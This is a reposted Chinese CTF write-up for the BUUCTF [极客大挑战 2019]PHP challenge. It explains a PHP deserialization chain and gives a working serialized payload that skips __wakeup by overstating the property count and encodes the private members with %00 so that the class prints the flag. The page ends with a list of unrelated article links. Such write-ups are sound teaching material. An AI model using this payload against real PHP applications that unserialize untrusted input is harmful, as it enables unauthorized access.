当前位置: 首页 > news >正文

[web]-反序列化-绕过__wakeup(转)

BUUCTF-[极客大挑战 2019]PHP1_[极客大挑战 2019]php 1-CSDN博客

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

按照常规思路,寻找起点、终点、跳板。

起点:_wakeup函数中是$this->username='guest',是给赋值;

终点:很直接是echo $flag,在__destruct中,username==='admin' 和 password==100。需要执行完成后,销毁处理时候调用。

反序列化过程中发现起点在终点之前调用,反而是捣乱的,那我们就不需要自动执行__wakeup,绕过的方法,设置的字段数量比实际字段大的值。

<?php
class Name{private $username = 'admin';private $password = '100';}echo serialize(new Name());
?>O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
浏览器中复制会将空格不显示,payload应为如下
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

其实简单的很简单,难得也很难,慢慢学习就好,没必要焦虑,觉得很难,纯粹一个兴趣爱好就行。放下无畏的消耗。

http://www.lryc.cn/news/402372.html

相关文章:

  • B树与B+树的区别
  • 机器人开源调度系统OpenTCS-6最新版本地源码运行
  • 云监控(华为) | 实训学习day3(10)
  • springMVC前后端请求参数绑定和传递
  • 【iOS】—— 消息传递和消息转发
  • 【Node.js】初识 Node.js
  • AWS backup服务和 RDS snapshot的关系
  • PDF转Word怎么快速转换?格式转换技巧分享
  • 浅谈:网络协议及网络连接
  • websocket-react使用
  • 【总结】nginx源码编译安装报错./configure: error: SSL modules require the OpenSSL library.
  • 昇思25天学习打卡营第15天|两个分类实验
  • 实践:Redis6.0配置文件解读
  • 【Go系列】Go语言的网络服务
  • CS110L(Rust)
  • 免费恢复软件有哪些?电脑免费使用的 5 大数据恢复软件
  • Flink History Server配置
  • ASPICE过程改进原则:确保汽车软件开发的卓越性能
  • HDU1005——Number Sequence,HDU1006——Tick and Tick,HDU1007——Quoit Design
  • uniapp form表单校验
  • 构建RSS订阅机器人:观察者模式的实践与创新
  • 芯片基础 | `wire`类型引发的学习
  • 如何在AWS上构建Apache DolphinScheduler
  • Quartus II 13.1添加新的FPGA器件库
  • 【html】html的基础知识(面试重点)
  • Java 网络编程(TCP编程 和 UDP编程)
  • STM32 | 看门狗+RTC源码解析
  • filebeat,kafka,clickhouse,ClickVisual搭建轻量级日志平台
  • Django实战项目之进销存数据分析报表——第一天:Anaconda 环境搭建
  • Linux部署Prometheus+Grafana